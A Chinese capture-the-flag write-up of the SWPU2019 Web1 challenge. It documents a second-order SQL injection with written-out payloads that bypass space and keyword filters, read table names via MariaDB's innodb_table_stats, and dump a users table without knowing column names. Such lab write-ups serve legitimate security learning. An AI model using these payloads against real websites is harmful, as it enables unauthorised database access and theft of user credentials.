[SWPU2019]Web1
原理
空格过滤
or过滤的替代词
无列名注入
二次注入
解题过程
首先进入靶场,看到登录框,我第一时间想到了sql万能注入--没用

尝试用admin登录,提示密码错误,说明有admin这个账户的,我就使用bp进行弱口令爆破,但是呢很多429,应该也行不通
查看源代码也没什么发现
先注册一个账号看看吧
注册完登录有这个界面

查看源代码,这里应该算是个hint,这个广告重要

先申请发布一个广告


点查看广告详情,发现这里有id传递,试了一下sql注入,但是没啥反应

在申请广告的时候使用xss也没啥用
看了wp才知道是二次注入
记住了:这个留言板或者聊天框之类的,大部分跟xss或者sql注入有关


发现有过滤,那么可以用fuzz看看都过滤了哪些

但是很无语,有申请条数限制,十几条就哇哇叫了,只能手工测一些比较重要的
经过尝试发现过滤了空格,or,and,–+,#,order等关键字
这里空格绕过可以使用/**/绕过,or过滤就无法使用informationschema来找表明字段名了,这条路就断了,也影响到了order by,但是这里可以用group by来绕过,-+和#过滤了,可以想到闭合'来绕过,因为根据报错可以猜想到后端语句是select * from ads where title = '$title' limit 0,1; 因此,我们可以使用-1' group by 23,' 来传入,后面的引号闭合能起到过滤的作用,要加逗号应该是避免被引号影响
接着我们来猜解列项
-1'/**/group/**/by/**/23,' 和-1'/**/group/**/by/**/22,' 可以来判断有22列,这里列项很多,可以尝试二分法来猜解
接下来查看回显的地方
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
为什么要这么构造呢
一开始我是用
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,' 这个payload去注入,但是提示columns不一致,我意识到数据库应该是把逗号后的引号闭合看成一个列了,所以我就修改了
可以看到回显的地方是2和3

此时,不知道表名如何拿到数据库的信息呢
先查询数据库版本和数据库名吧
-1'/**/union/**/select/**/1,version(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
照例看user(),也是root权限

知道数据库是MariaDB了,突破口就是这个数据库
有个知识点就是这个数据库的mysql.innodb_table_stats可以查表名
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
可以看到打印出了当前数据库的表名是ads,users

按理说应该先拿到users表的信息,但是我们又不知道字段名
这里就要用到无列名注入了,如果没限制应该可以用select * from web1.users limit 0,1这么去注入
一般用select * from users这么去查询会得到这么一个表,但是我们在网站只看得到表的内容,没有列名

接下来是解析


若要引用可以使用反引号

这样就单独查询了 第 6 列。
这时,
如果 反引号被过滤了。也有其他的方法

是 用 反引号 还是 用 as 都是可以进行 group_concat的

进而构造出payload
-1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from /**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
顺利得到flag
这里是查询第三列的值,是按照常识id,username,password来的,构造payload可以从第一列开始取。 相当于从新表中查询

参考文章:https://blog.csdn.net/Zero_Adam/article/details/114031694
https://www.jianshu.com/p/dc9af4ca2d06
https://www.bilibili.com/read/cv18864776/
无列名注入:https://zhuanlan.zhihu.com/p/98206699

浙公网安备 33010602011771号